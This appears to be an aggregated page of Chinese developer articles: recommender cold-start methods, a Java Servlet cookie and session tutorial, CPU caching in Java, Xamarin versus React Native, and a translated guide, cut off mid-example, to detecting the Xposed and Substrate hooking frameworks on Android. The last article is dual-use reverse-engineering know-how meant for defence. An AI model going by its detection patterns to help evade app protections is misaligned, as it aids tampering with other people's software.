(1)利用用户注册信息进行初步推荐,主要包括人口统计学信息、用户描述的个人兴趣内容,预先设定好用户的偏好信息。

(2)在用户第一次访问系统时,给用户提供一些物品,让用户反馈对这些物品的评分,然后根据用户的反馈形成初始的个性化推荐。

(3)邀请行业的专家对新的用户或者新的物品
进行分类、评注。

(4)随机推荐的方法。对于冷启动问题,实际应用中最简单最直观的方法是采用随机推荐的 方式。这种方法是比较冒险。

(5)平均值法。所有项目的均值,作为用户对未评价过项目的预测值,将原始评分矩阵进行 填充,然后在填充后的评分矩阵上寻找目标用户的最近邻居,应用协同过滤的方法产生推荐。但是均值的方法只能说是一种被动应付的方式,新用户对项目的喜好值正好等于其他用户对此项目的平均值的概率是非常小的。

根据我们实际情况,建议使用第(1)种解决方案比较合适。

可能感兴趣的文章

Servlet – 会话跟踪

$
0
0

会话跟踪

HTTP本身是 “无状态”协议,它不保存连接交互信息,一次响应完成之后即连接断开,下一次请求需要重新建立连接,服务器不记录上次连接的内容.因此如果判断两次连接是否是同一用户, 就需要使用 会话跟踪技术来解决.常见的会话跟踪技术有如下几种:

  • URL重写: 在URL结尾附加 会话ID标识,服务器通过会话ID识别不同用户.
  • 隐藏表单域: 将会话ID埋入 HTML表单隐藏域提交到服务端(会话ID不在浏览器页面显示).
  • Cookie: 第一次请求时服务器主动发一小段信息给浏览器(即 Cookie),下次请求时浏览器自动附带该段信息发送给服务器,服务器读取Cookie识别用户.
  • Session: 服务器为每个用户创建一个 Session对象保存到内存,并生成一个 sessionID放入Cookie发送给浏览器,下次访问时sessionID会随Cookie传回来,服务器再根据sessionID找到对应Session对象(Java领域特有).

Session机制依赖于Cookie,如果Cookie被禁用Session也将失效.


Cookie

Cookie是识别当前用户,实现持久会话的最好方式.最初由网景公司开发,但现在所有主流浏览器都支持.以至于HTTP协议为他定义了一些新的HTTP首部.

URL重写与隐藏表单域两种技术都有一定的局限,细节可参考博客 四种会话跟踪技术

  • Cookie规范
    • Cookie通过请求头/响应头在服务器与客户端之间传输, 大小限制为4KB;
    • 一台服务器在一个客户端最多保存20个Cookie;
    • 一个浏览器最多保存300个Cookie;

Cookie的key/value均不能保存中文,如果需要,可以在保存前对中文进行编码, 取出时再对其解码.


Java-Cookie

在Java中使用Cookie, 必须熟悉 javax.servlet.http.Cookie类, 以及 HttpServletRequest/ HttpServletResponse接口提供的几个方法:

Cookie描述
Cookie(String name, String value)Constructs a cookie with the specified name and value.
String getName()Returns the name of the cookie.
String getValue()Gets the current value of this Cookie.
void setValue(String newValue)Assigns a new value to this Cookie.
void setMaxAge(int expiry)Sets the maximum age in seconds for this Cookie.
int getMaxAge()Gets the maximum age in seconds of this Cookie.
void setPath(String uri)Specifies a path for the cookie to which the client should return the cookie.
void setDomain(String domain)Specifies the domain within which this cookie should be presented.
Request描述
Cookie[] getCookies()Returns an array containing all of the Cookie objects the client sent with this request.
Response描述
void addCookie(Cookie cookie)Adds the specified cookie to the response.
  • 示例: 获取上次访问时间
    Request中获取Cookie:  last_access_time, 如果没有则新建,否则显示 last_access_time内容, 并更新为当前系统时间, 最后放入 Response:
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    Cookie[] cookies = request.getCookies();
    Cookie latCookie = null;
    if (cookies != null){
        for (Cookie cookie : cookies){
            if (cookie.getName().equals(L_A_T)){
                latCookie = cookie;
                break;
            }
        }
    }

    // 已经访问过了
    if (latCookie != null){
        printResponse("您上次访问的时间是" + latCookie.getValue(), response);
        latCookie.setValue(new Date().toString());
    } else{
        printResponse("您还是第一次访问", response);
        latCookie = new Cookie(L_A_T, new Date().toString());
    }

    response.addCookie(latCookie);
}

private void printResponse(String data, HttpServletResponse response) throws IOException {
    response.setContentType("text/html; charset=utf-8");
    response.getWriter().print("<H1>" + data + "</H1>");
}

有效期

Cookie的 Max-Age决定了Cookie的有效期,单位为秒. Cookie类通过 getMaxAge()setMaxAge(int maxAge)方法来读写Max-Age属性:

Max-Age描述
0Cookie立即作废(如果原先浏览器已经保存了该Cookie,那么可以通过设置 Max-Age为0使其失效)
< 0默认,表示只在浏览器内存中存活,一旦浏览器关闭则Cookie销毁
> 0将Cookie持久化到硬盘上,有效期由 Max-Age决定

域属性

服务器可向 Set-Cookie响应首部添加一个 Domain属性来控制哪些站点可以看到该Cookie, 如

Set-Cookie: last_access_time="xxx"; Domain=.fq.com

该响应首部就是在告诉浏览器将Cookie  last_access_time="xxx"发送给域”.fq.com”中的所有站点(如www.fq.com, mail.fq.com).

Cookie类通过 setDomain()方法设置域属性.

如果没有指定域, 则Domain默认为产生Set-Cookie响应的服务器主机名.


路径属性

Cookie规范允许用户将Cookie与部分Web站点关联起来.该功能可通过向 Set-Cookie响应首部添加 Path属性来实现:

Set-Cookie:last_access_time="Tue Apr 26 19:35:16 CST 2016"; Path=/servlet/

这样如果访问 http://www.example.com/hello_http_servlet.do就不会获得 last_access_time,但如果访问 http://www.example.com/servlet/index.html, 就会带上这个Cookie.

Cookie类中通过 setPath()方法设置路径属性.

如果没有指定路径, Path默认为产生Set-Cookie响应的URL的路径.


Session

在所有的会话跟踪技术中, Session是功能最强大,最多的. 每个用户可以没有或者有一个 HttpSession对象, 并且只能访问他自己的Session对象.

与URL重写, 隐藏表单域和Cookie不同, Session是保存在服务器内存中的数据,在达到一定的阈值后, Servlet容器会将Session持久化到辅助存储器中, 因此最好将使保存到Session内的对象实现 java.io.Serializable接口.

使用Session, 必须熟悉 javax.servlet.http.HttpSession接口, 以及 HttpServletRequest接口中提供的几个方法:

HttpSession描述
void setAttribute(String name, Object value)Binds an object to this session, using the name specified.
Object getAttribute(String name)Returns the object bound with the specified name in this session, or null if no object is bound under the name.
void invalidate()Invalidates this session then unbinds any objects bound to it.
Enumeration<String> getAttributeNames()Returns an Enumeration of String objects containing the names of all the objects bound to this session.
void removeAttribute(String name)Removes the object bound with the specified name from this session.
String getId()Returns a string containing the unique identifier assigned to this session.
boolean isNew()Returns true if the client does not yet know about the session or if the client chooses not to join the session.
Request描述
HttpSession getSession()Returns the current session associated with this request, or if the request does not have a session, creates one.
HttpSession getSession(boolean create)Returns the current HttpSession associated with this request or, if there is no current session and create is true, returns a new session.
String getRequestedSessionId()Returns the session ID specified by the client.

示例-购物车

  • domain
/**
 * @author jifang.
 * @since 2016/5/1 20:14.
 */
public class Product implements Serializable {

    private int id;
    private String name;
    private String description;
    private double price;

    public Product(int id, String name, String description, double price) {
        this.id = id;
        this.name = name;
        this.description = description;
        this.price = price;
    }

    // ...
}
public class ShoppingItem implements Serializable {
    private Product product;
    private int quantity;

    public ShoppingItem(Product product, int quantity) {
        this.product = product;
        this.quantity = quantity;
    }

    // ...
}
  • 商品列表页面(/jsp/products.jsp)
<%@ page import="com.fq.web.domain.Product" %><%@ page import="com.fq.web.util.ProductContainer" %><%@ page contentType="text/html;charset=UTF-8" language="java" %><html><head><title>Products</title></head><body><h2>Products</h2><ul><%
        for (Product product : ProductContainer.products) {
    %><li><%=product.getName()%>
        ($<%=product.getPrice()%>)
        (<a href="${pageContext.request.contextPath}/jsp/product_details.jsp?id=<%=product.getId()%>">Details</a>)</li><%
        }
    %></ul><a href="${pageContext.request.contextPath}/jsp/shopping_cart.jsp">Shopping Cart</a></body></html>
  • 商品详情(/jsp/product_details.jsp)
<%@ page import="com.fq.web.domain.Product" %><%@ page import="com.fq.web.util.ProductContainer" %><%@ page contentType="text/html;charset=UTF-8" language="java" %><html><head><title>Product Details</title></head><body><h2>Product Details</h2><%
    int id = Integer.parseInt(request.getParameter("id"));
    Product product = ProductContainer.getProduct(id);
    assert product != null;
%><form action="${pageContext.request.contextPath}/session/add_to_card.do" method="post"><input type="hidden" name="id" value="<%=id%>"/><table><tr><td>Name:</td><td><%=product.getName()%></td></tr><tr><td>Price:</td><td><%=product.getPrice()%></td></tr><tr><td>Description:</td><td><%=product.getDescription()%></td></tr><tr><td><input type="text" name="quantity"></td><td><input type="submit" value="Buy"></td></tr><tr><td><a href="${pageContext.request.contextPath}/jsp/products.jsp">Products</a></td><td><a href="${pageContext.request.contextPath}/jsp/shopping_cart.jsp">Shopping Cart</a></td></tr></table></form></body></html>
  • 加入购物车(AddCardServlet)
@WebServlet(name = "AddCardServlet", urlPatterns = "/session/add_to_card.do")
public class AddCardServlet extends HttpServlet {

    @SuppressWarnings("All")
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        int id = Integer.parseInt(request.getParameter("id"));
        Product product = ProductContainer.getProduct(id);
        int quantity = Integer.parseInt(request.getParameter("quantity"));

        HttpSession session = request.getSession();
        List<ShoppingItem> items = (List<ShoppingItem>) session.getAttribute(SessionConstant.CART_ATTRIBUTE);
        if (items == null) {
            items = new ArrayList<ShoppingItem>();
            session.setAttribute(SessionConstant.CART_ATTRIBUTE, items);
        }
        items.add(new ShoppingItem(product, quantity));

        request.getRequestDispatcher("/jsp/products.jsp").forward(request, response);
    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        doPost(request, response);
    }
}
  • 购物车(/jsp/shopping_card.jsp)
<%@ page import="com.fq.web.constant.SessionConstant" %><%@ page import="com.fq.web.domain.ShoppingItem" %><%@ page import="java.util.List" %><%@ page contentType="text/html;charset=UTF-8" language="java" %><html><head><title>Shopping Cart</title></head><body><h2>Shopping Cart</h2><a href="${pageContext.request.contextPath}/jsp/products.jsp">Products</a><table><tr><td style="width: 150px">Quantity</td><td style="width: 150px">Product</td><td style="width: 150px">Price</td><td>Amount</td></tr><%
        List<ShoppingItem> items = (List<ShoppingItem>) session.getAttribute(SessionConstant.CART_ATTRIBUTE);
        if (items != null) {
            double total = 0.0;
            for (ShoppingItem item : items) {
                double subtotal = item.getQuantity() * item.getProduct().getPrice();
    %><tr><td><%=item.getQuantity()%></td><td><%=item.getProduct().getName()%></td><td><%=item.getProduct().getPrice()%></td><td><%=subtotal%></td></tr><%
            total += subtotal;
        }%><tr><td>Total: <%=total%></td></tr><%
        }
    %></table></body></html>

有效期

Session有一定的过期时间: 当用户长时间不去访问该Session,就会超时失效,虽然此时sessionID可能还在Cookie中, 只是服务器根据该sessionID已经找不到Session对象了.
Session的超时时间可以在web.xml中配置, 单位为分钟:

<session-config><session-timeout>30</session-timeout></session-config>

另外一种情况: 由于sessionID保存在Cookie中且 Max-Age-1,因此当用户重新打开浏览器时已经没有sessionID了, 此时服务器会再创建一个Session,此时新的会话又开始了.而原先的Session会因为超时时间到达而被销毁.


字符编码

字符编码就是以二进制的数字来对应字符集的字符,常见字符编码方式有: ISO-8859-1(不支持中文), GB2312, GBK, UTF-8等.在JavaWeb中, 经常遇到的需要编码/解码的场景有 响应编码/ 请求编码/ URL编码:


响应编码

服务器发送数据给客户端由 Response对象完成,如果响应数据是二进制流,就无需考虑编码问题.如果响应数据为字符流,那么就一定要考虑编码问题:

response.getWriter()默认使用 ISO-889-1发送数据,而该字符集不支持中文,因此遇到中文就一定会乱码.

在需要发送中文时, 需要使用:

response.setCharacterEncoding("UTF-8");
// getWriter() ...

设置编码方式,由于在 getWriter()输出前已经设置了 UTF-8编码,因此输出字符均为 UTF-8编码,但我们并未告诉客户端使用什么编码来读取响应数据,因此我们需要在响应头中设置编码信息(使用 Content-Type):

response.setContentType("text/html;charset=UTF-8");
// getWriter() ...

注意: 这句代码不只在响应头中添加了编码信息,还相当于调用了一次 response.setCharacterEncoding("UTF-8");


请求编码

1. 浏览器地址栏编码

在浏览器地址栏书写字符数据,由浏览器编码后发送给服务器,因此如果在地址栏输入中文,则其编码方式由浏览器决定:

浏览器编码
IE/FireFoxGB2312
ChromeUTF-8

2. 页面请求

如果通过页面的 超链接/ 表单向服务器发送数据,那么其编码方式由当前页面的编码方式确定:

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

3. GET

当客户端发送GET请求时,无论客户端发送的数据编码方式为何,服务端均已 ISO-8859-1解码( Tomcat8.x之后改用 UTF-8),这就需要我们在 request.getParameter()获取数据后再转换成正确的编码:

private Map<String, String> convertToParameterMap(HttpServletRequest request) throws UnsupportedEncodingException {
    Enumeration<String> names = request.getParameterNames();
    Map<String, String> parameters = new HashMap<String, String>();
    if (names != null) {
        while (names.hasMoreElements()) {
            String name = names.nextElement();
            String value = request.getParameter(name);
            parameters.put(name, new String(value.getBytes("ISO-8859-1"), "UTF-8"));
        }
    }
    return parameters;
}

4. POST

当客户端发送POST请求时,服务端也是默认使用 iOS-8859-1解码,但POST的数据是通过 请求体传送过来,因此POST请求可以通过 request.setCharacterEncoding()来指定请求体编码方式:

private Map<String, String> convertToParameterMap(HttpServletRequest request) throws IOException {
    Map<String, String> parameters = new HashMap<String, String>();
    if (request.getMethod().equals("POST")) {
        request.setCharacterEncoding("UTF-8");
        Enumeration<String> names = request.getParameterNames();
        while (names.hasMoreElements()) {
            String key = names.nextElement();
            parameters.put(key, request.getParameter(key));
        }
    } else {
        Enumeration<String> names = request.getParameterNames();
        while (names.hasMoreElements()) {
            String key = names.nextElement();
            String value = request.getParameter(key);
            parameters.put(key, new String(value.getBytes("ISO-8859-1"), "UTF-8"));
        }
    }

    return parameters;
}

URL编码

网络标准 RFC 1738规定:

“…Only alphanumerics  [0-9a-zA-Z], the special characters  "$-_.+!*'()," [not including the quotes - ed], and reserved characters used for their reserved purposes may be used unencoded within a URL.”
“只有字母和数字 [0-9a-zA-Z]、一些特殊符号 "$-_.+!*'(),"[不包括双引号]、以及某些保留字,才可以不经过编码直接用于URL。”

如果URL中有汉字,就必须编码后使用, 而URL编码过程其实很简单:

首先需要指定一种字符编码,把字符串解码后得到 byte[],然后把小于0的字节+256,再将其转换成16进制,最后前面再添加一个%.

这个编码过程在Java中已经封装成了现成的库, 可直接使用:

URLEncoder描述
static String encode(String s, String enc)Translates a string into application/x-www-form-urlencoded format using a specific encoding scheme.
URLDecoder描述
static String decode(String s, String enc)Decodes a application/x-www-form-urlencoded string using a specific encoding scheme.

注: 在Web中Tomcat容器会自动识别URL是否已经编码并自动解码.


参考

更多有关编码知识, 可以参考:
1.  阮一峰: 关于URL编码
2.  Web开发者应知的URL编码知识
3.  字符集和字符编码(Charset & Encoding)

相关文章

java在CPU中的一些个破事

$
0
0

其实写Java的人貌似和CPU没啥关系,最多最多和我们在前面提及到的如何将CPU跑满、如何设置线程数有点关系,但是那个算法只是一个参考,很多场景不同需要采取实际的手段来解决才可以;而且将CPU跑满后我们还会考虑如何让CPU不是那么满,呵呵,人类,就是这么XX,呵呵,好了,本文要说的是其他的一些东西,也许你在java的写代码时几乎不用关注CPU,因为满足业务才是第一重要的事情,如果你要做到框架级别,为框架提供很多共享数据缓存之类的东西,中间必然存在很多数据的征用问题,当然java提供了很多concurrent包的类,你可以用它,但是它内部如何做的,你要明白细节才能用得比较好,否则还不如不用,本文可能不是阐述这些内容作为重点,因为如标题党:我们要说CPU,呵呵。

还是那句话,貌似java和CPU没有多少关系,我们现在来聊聊有啥关系;

1、当遇到共享元素,我们通常第一想法是通过volatile来保证一致性读的操作,也就是绝对的可见性,所谓可见性,就是每次要使用该数据的时候,CPU不会使用任何cache的内容都会从内存中去抓取一次数据,并且这个过程对多CPU仍然有效,也就是相当CPU和内存之间此时是同步的,CPU会像总线发出一个Lock addl 0类似的的汇编指令,+0但相对于什么都不会做;不过一旦该指令完成,后续操作将不再影响这个元素其他线程的访问,也就是他能实现的绝对可见性,但是不能实现一致性操作,也就是说,volatile不能实现的是i++这类操作的一致性(在多线程下并发),因为i++操作是被分解为:

int tmp = i;
tmp = tmp + 1;
i = tmp;

这三个步骤来完成,从这点你也能看出i++为什么能实现先做其他的事情再自我加1,因为它讲值赋予给了另一个变量。

2、我们要用到多线程并发一致性,就需要用到锁的机制,目前类似Atomic*的东西基本可以满足这些要求,内部提供了很多unsafe类的方法,通过不断对比绝对可见性的数据来保证获取的数据是最新的;接下来我们继续来说一些CPU其他的事情。

3、以前我们为了将CPU跑满,但是无论如何跑不满,因为我们开始说了忽略掉内存与CPU的延迟,今天既然提及到这里,我们就简单说下延迟,一般来讲现在的CPU有三级cache,年代不同延迟不同,所以具体数字只能说个大概而已,现在的CPU一般一级cache的延迟在1-2ns,二级cache一般是几个ns到十来ns左右,三级cache一般是30ns到50ns不等,内存访问普遍会上到70ns甚至更多(计算机发展速度很快,这个值也仅仅在某些CPU上的数据,做一个范围参考而已);别看这个延迟很小,都是纳秒级别,你会发现你的程序被拆分为指令运算的时候,会有很多CPU交互,每次交互的延迟如果有这么大的偏差,此时系统性能是会有变化的;

4、回到刚才说的volatile,它每次从内存中获取数据,就是放弃cache,自然如果在某些单线程的操作中,会变得更加慢,有些时候我们也不得不这样做,甚至于读写操作都要求一致性,甚至于整个数据块都被同步,我们只能在一定程度上降低锁的粒度,但是不能完全没有锁,即使是CPU本身级别也会有指令级别的限制,如下:

5、在CPU本身级别的原子操作一般叫屏障,有读屏障、写屏障等,一般是基于一个点的触发,当程序多条指令发送到CPU的时候,有些指令未必是按照程序的顺序来执行,有些必须按照程序的顺序来执行,只要能最终保证一致即可;在排序上,JIT在运行时会做改变,CPU指令级别也会做改变,原因主要是为了优化运行时指令让程序跑得更快。

6、CPU级别会对内存做cache line的操作,所谓cache line会连续读一块内存,一般和CPU型号和架构有关系,现在很多CPU每次读取连续内存一般是64byte,早期的有32byte的,所以在某些数组遍历的时候会比较快(基于列遍历很慢),但这个并不完全对,下面会对照一些相反的情况来说。

7、CPU对数据如果发生了修改,此时就不得不说CPU对数据修改的状态,数据如果都被读取,在多CPU下可以被多线程并行读取并,当对数据块发生写操作的时候,就不一样了,数据块会有独占、修改、失效等状态,数据修改后自然就会失效,当在多CPU下,多个线程都在对同一个数据块进行修改时,就会发生CPU之间的总线数据拷贝(QPI),当然如果修改到同一个数据上的时候我们是没有办法的,但是回到第6点的cache line里面,问题就比较麻烦了,如果数据是在同一个数组上,而数组中的元素会被同时cache line到一个CPU上的时候,多线程的QPI就会非常频繁,有些时候即使是数组上组装的是对象也会出现这个问题,如:

class InputInteger {
   private int value;
   public InputInteger(int i) {
      this.value = i;
   }
}
InputInteger[] integers = new InputInteger[SIZE];
for(int i=0 ; i < SIZE ; i++) {
   integers[i] = new InputInteger(i);
}

此时你看出来integers里面放的全部是对象,数组上只有对象的引用,但是对象的排布理论上说各自对象是独立的,不会连续存放,不过java在分配对象内存的时候,很多时候,在Eden区域是连续分配的,当在for循环的时候,如果没有其他线程的接入,这些对象就会被存放在一起,即使被GC到OLD区域也很有可能会放在一起,所以靠简单对象来解决cache line后还对整个数组修改的方式貌似不靠谱,因为int 是4字节,如果在64模式下,这个大小是24字节(有4byte补齐),指针压缩开启是16byte;也就是每次cpu可以看齐3-4个对象,如何让CPUcache了,但是又不影响系统的QPI,别想通过分隔对象来完成,因为GC过程内存拷贝过程很可能会拷贝到一起,最好的办法是补齐,虽然有点浪费内存,但是这是最靠谱的方法,就是将对象补齐到64字节,上述若未开启指针压缩有24byte,此时还有40个字节,只需要在对象内部增加5个long即可。

class InputInteger {
   public int value;
   private long a1,a2,a3,a4,a5;
}

呵呵,这个办法很土,不过很管用,有些时候,Jvm编译的时候发现这几个参数啥都没做,就直接给你干掉了,优化无效,土办法加土办法就是在一个方法体里面简单对这5个参数做一个操作(都用上),但是这个方法永远不调用它即可。

8、在CPU这个级别有些时候就未必能先做尽量先做的道理为王者了,类似获取锁这种操作,在AtomicIntegerFieldUpdater的操作,如果调用getAndSet(true)在单线程下你会发现跑得还蛮快,在多核CPU下就开始变慢,为什么上面说得很清楚了,因为getAndSet里面是修改后对比,先改了再说,QPI会很高,所以这个时候,先做get操作,再修改才是比较好的做法;还有就是获取一次,如果获取不到,就让步一下,让其他的线程去做其他的事情;

9、CPU有些时候为了解决某些CPU忙和不繁忙的问题,会有很多算法来解决,如NUMA是其中一种方案,不过不论哪种架构都在一定场景下比较有用,对有所有场景未必有效;有队列锁机制来完成对CPU状态管理,不过这又存在了cache line的问题,因为状态都是经常改变的,各类应用程序的内核为了配合CPU也会出一些算法来做,使得CPU可以更加有效的利用起来,如CLH队列等。

有关这方面的细节会很多如用普通变量循环叠加和用volatile类型的做以及Atomic*系列的来做,完全是不一样的;多维度数组循环,按照不同纬度向后次序来循环也是不一样的,细节上点很多,明白为什么就在实际优化过程中有灵感了;锁的细节说太细很晕,在系统底层的级别,始终有一些轻量级的原子操作,不论谁说他的代码是不需要加锁的,最细的可以细到CPU在每个瞬间只能执行一条指令那么简单,多核心CPU在总线级别也会有共享区来控制一些内容,有读级别、写级别、内存级别等,在不同的场景下使得锁的粒度尽量降低,那么系统的性能不言而喻,很正常的结果。

本文就说到这里,闲扯了下,仅供参考!

相关文章


浅谈移动应用的跨平台开发工具(Xamarin和React Native)

$
0
0

谈移动应用的跨平台开发不能不提HTML5,PhoneGap和Sencha等平台一直致力于使用HTML5技术来开发跨平台的移动应用,现在看来这个方向基本算是失败的,基于HTML5的移动应用在用户体验上与原生应用仍然存在着明显的差距。

与上述HTML5平台不同,Xamarin和React Native通过各自的方式来实现跨平台。Xamarin基于Mono框架将C#代码编译为原生平台代码,React Native则是在UI主线程之外运行一个JavaScript线程,两者呈现给用户的都是原生体验。

2in1

笔者恰巧两个平台都各使用过一段时间,在这里就抛砖引玉,分享一下个人观点。对于资源有限的创业团队,如果熟悉JavaScript,使用React Native再加上React,Redux等技术可以实现移动端、Web端、和Service端整套系统的开发,还可以重用一部分代码(比如Reducer和Action中的业务逻辑,以及通用的JavaScript组件代码),React Native也非常适合快速原型的开发。对于实力相对雄厚的大中型公司,如果已经在使用Microsoft的.Net技术,并且拥有成体系的系统架构,那么Xamarin或许是一个更好的选择,架构设计得好的话在代码重用方面并不逊于React Native。

下面从几个方面说一说两者各自的优缺点:

  • 从编程语言的角度来说,C#和JavaScript都是成熟的主流编程语言,都有丰富的第三方库和强大的社区支持。两种语言都能够实现从前端一直到后端的整套方案。
  • 从开发工具的角度来说,Xamarin Studio的表现只能说刚刚及格,有种和Xamarin整个产品线不在一个水平的感觉,特别是重构和界面可视化编辑等方面还有很大的改善空间,并且在版本升级中经常会引入新的BUG,让笔者多少有点患上了升级恐惧症。React Native本身没有IDE,开发人员可以选择自己熟悉的JavaScript IDE,比如:IntelliJ等。
  • 从第三方库的角度来说,Xamarin的第三方库给人一种不多不少、刚好够用的感觉。在IDE中集成了Xamarin Component Store以后,第三方库的数量质量都有了提升,开发人员使用起来也非常方便。如果遇到特殊情况需要自己开发或者绑定(binding)原生代码库时可能会比较麻烦一些。React Native则完全依赖于JavaScript社区,NPM和GitHub,在需要自行开发和桥接(bridging)原生代码库时个人觉得比Xamarin容易一些。
  • 价格方面,Xamarin有免费版本,但在应用包尺寸上有限制。对于企业级开发最好还是选择它的Enterprise License,虽然价格不菲,但是可以获得技术支持和使用平台的其他产品(如:Xamarin.Forms和Xamarin Test Cloud)。React Native则是完全免费的。
  • 至于学习难度,很多人对JavaScript缺乏信心,觉得这门语言很难掌握和用好,而C#和Java则相对容易安全得多。这里笔者推荐图灵的 《你不知道的JavaScript》系列,看过之后也许能够改变这一看法。除了JavaScript语言,React Native还需要掌握Facebook的React框架,它是React Native的核心。Xamarin要求掌握C#以及iOS和Android开发的相关知识,虽然使用React Native并不一定要求会iOS和Android开发,但是对于移动应用开发者来说,无论使用什么工具、怎样跨平台,了解各个平台的架构设计还是非常必要的。

下面是对两者各方面的一个总结:

不足和纰漏之处还望各位不吝赐教,欢迎交流讨论。


欢迎关注CoolShell微信公众账号

(转载本站文章请注明作者和出处 酷 壳 – CoolShell.cn,请勿用于任何商业用途)

——=== 访问 酷壳404页面寻找遗失儿童。 ===——

Android Java层的anti-hooking技巧

$
0
0

原文:http://d3adend.org/blog/?p=589

0x00 前言


一个最近关于检测native hook框架的方法让我开始思考一个Android应用如何在Java层检测Cydia Substrate或者Xposed框架。

声明:

下文所有的anti-hooking技巧很容易就可以被有经验的逆向人员绕过,这里只是展示几个检测的方法。在最近DexGuard和GuardIT等工具中还没有这类anti-hooking检测功能,不过我相信不久就会增加这个功能。

0x01 检测安装的应用


一个最直接的想法就是检测设备上有没有安装Substrate或者Xposed框架,可以直接调用PackageManager显示所有安装的应用,然后看是否安装了Substrate或者Xposed。

PackageManager packageManager = context.getPackageManager();
List applicationInfoList  = packageManager.getInstalledApplications(PackageManager.GET_META_DATA);

for(ApplicationInfo applicationInfo : applicationInfoList) {
    if(applicationInfo.packageName.equals("de.robv.android.xposed.installer")) {
        Log.wtf("HookDetection", "Xposed found on the system.");
    }
    if(applicationInfo.packageName.equals("com.saurik.substrate")) {
        Log.wtf("HookDetection", "Substrate found on the system.");
    }
}       

0x02 检查调用栈里的可疑方法


另一个想到的方法是检查Java调用栈里的可疑方法,主动抛出一个异常,然后打印方法的调用栈。代码如下:

public class DoStuff {
    public static String getSecret() {
        try {
            throw new Exception("blah");
        }
        catch(Exception e) {
            for(StackTraceElement stackTraceElement : e.getStackTrace()) {
                Log.wtf("HookDetection", stackTraceElement.getClassName() + "->" + stackTraceElement.getMethodName());
            }
        }
        return "ChangeMePls!!!";
    }
}

当应用没有被hook的时候,正常的调用栈是这样的:

com.example.hookdetection.DoStuff->getSecret
com.example.hookdetection.MainActivity->onCreate
android.app.Activity->performCreate
android.app.Instrumentation->callActivityOnCreate
android.app.ActivityThread->performLaunchActivity
android.app.ActivityThread->handleLaunchActivity
android.app.ActivityThread->access$800
android.app.ActivityThread$H->handleMessage
android.os.Handler->dispatchMessage
android.os.Looper->loop
android.app.ActivityThread->main
java.lang.reflect.Method->invokeNative
java.lang.reflect.Method->invoke
com.android.internal.os.ZygoteInit$MethodAndArgsCaller->run
com.android.internal.os.ZygoteInit->main
dalvik.system.NativeStart->main

但是假如有Xposed框架hook了com.example.hookdetection.DoStuff.getSecret方法,那么调用栈会有2个变化:

  • 在dalvik.system.NativeStart.main方法后出现de.robv.android.xposed.XposedBridge.main调用
  • 如果Xposed hook了调用栈里的一个方法,还会有de.robv.android.xposed.XposedBridge.handleHookedMethod 和de.robv.android.xposed.XposedBridge.invokeOriginalMethodNative调用

所以如果hook了getSecret方法,调用栈就会如下:

com.example.hookdetection.DoStuff->getSecret

de.robv.android.xposed.XposedBridge->invokeOriginalMethodNative
de.robv.android.xposed.XposedBridge->handleHookedMethod

com.example.hookdetection.DoStuff->getSecret
com.example.hookdetection.MainActivity->onCreate
android.app.Activity->performCreate
android.app.Instrumentation->callActivityOnCreate
android.app.ActivityThread->performLaunchActivity
android.app.ActivityThread->handleLaunchActivity
android.app.ActivityThread->access$800
android.app.ActivityThread$H->handleMessage
android.os.Handler->dispatchMessage
android.os.Looper->loop
android.app.ActivityThread->main
java.lang.reflect.Method->invokeNative
java.lang.reflect.Method->invoke
com.android.internal.os.ZygoteInit$MethodAndArgsCaller->run
com.android.internal.os.ZygoteInit->main

de.robv.android.xposed.XposedBridge->main

dalvik.system.NativeStart->main

下面看下Substrate hook com.example.hookdetection.DoStuff.getSecret方法后,调用栈会有什么变化:

  • dalvik.system.NativeStart.main调用后会出现2次com.android.internal.os.ZygoteInit.main,而不是一次。
  • 如果Substrate hook了调用栈里的一个方法,还会出现com.saurik.substrate.MS$2.invoked,com.saurik.substrate.MS$MethodPointer.invoke还有跟Substrate扩展相关的方法(这里是com.cigital.freak.Freak$1$1.invoked)。

所以如果hook了getSecret方法,调用栈就会如下:

com.example.hookdetection.DoStuff->getSecret

com.saurik.substrate._MS$MethodPointer->invoke
com.saurik.substrate.MS$MethodPointer->invoke
com.cigital.freak.Freak$1$1->invoked
com.saurik.substrate.MS$2->invoked

com.example.hookdetection.DoStuff->getSecret
com.example.hookdetection.MainActivity->onCreate
android.app.Activity->performCreate
android.app.Instrumentation->callActivityOnCreate
android.app.ActivityThread->performLaunchActivity
android.app.ActivityThread->handleLaunchActivity
android.app.ActivityThread->access$800
android.app.ActivityThread$H->handleMessage
android.os.Handler->dispatchMessage
android.os.Looper->loop
android.app.ActivityThread->main
java.lang.reflect.Method->invokeNative
java.lang.reflect.Method->invoke
com.android.internal.os.ZygoteInit$MethodAndArgsCaller->run
com.android.internal.os.ZygoteInit->main

com.android.internal.os.ZygoteInit->main

dalvik.system.NativeStart->main

在知道了调用栈的变化之后,就可以在Java层写代码进行检测:

try {
    throw new Exception("blah");
}
catch(Exception e) {
    int zygoteInitCallCount = 0;
    for(StackTraceElement stackTraceElement : e.getStackTrace()) {
        if(stackTraceElement.getClassName().equals("com.android.internal.os.ZygoteInit")) {
            zygoteInitCallCount++;
            if(zygoteInitCallCount == 2) {
                Log.wtf("HookDetection", "Substrate is active on the device.");
            }
        }
        if(stackTraceElement.getClassName().equals("com.saurik.substrate.MS$2") && 
                stackTraceElement.getMethodName().equals("invoked")) {
            Log.wtf("HookDetection", "A method on the stack trace has been hooked using Substrate.");
        }
        if(stackTraceElement.getClassName().equals("de.robv.android.xposed.XposedBridge") && 
                stackTraceElement.getMethodName().equals("main")) {
            Log.wtf("HookDetection", "Xposed is active on the device.");
        }
        if(stackTraceElement.getClassName().equals("de.robv.android.xposed.XposedBridge") && 
                stackTraceElement.getMethodName().equals("handleHookedMethod")) {
            Log.wtf("HookDetection", "A method on the stack trace has been hooked using Xposed.");
        }

    }
}

0x03 检测并不应该native的native方法


Xposed框架会把hook的Java方法类型改为"native",然后把原来的方法替换成自己的代码(调用hookedMethodCallback)。可以查看 XposedBridge_hookMethodNative的实现,是修改后app_process里的方法。

利用Xposed改变hook方法的这个特性(Substrate也使用类似的原理),就可以用来检测是否被hook了。注意这不能用来检测ART运行时的Xposed,因为没必要把方法的类型改为native。

假设有下面这个方法:

public class DoStuff {
    public static String getSecret() {
        return "ChangeMePls!!!";
    }
}

如果getSecret方法被hook了,在运行的时候就会像下面的定义:

public class DoStuff {
        // calls hookedMethodCallback if hooked using Xposed
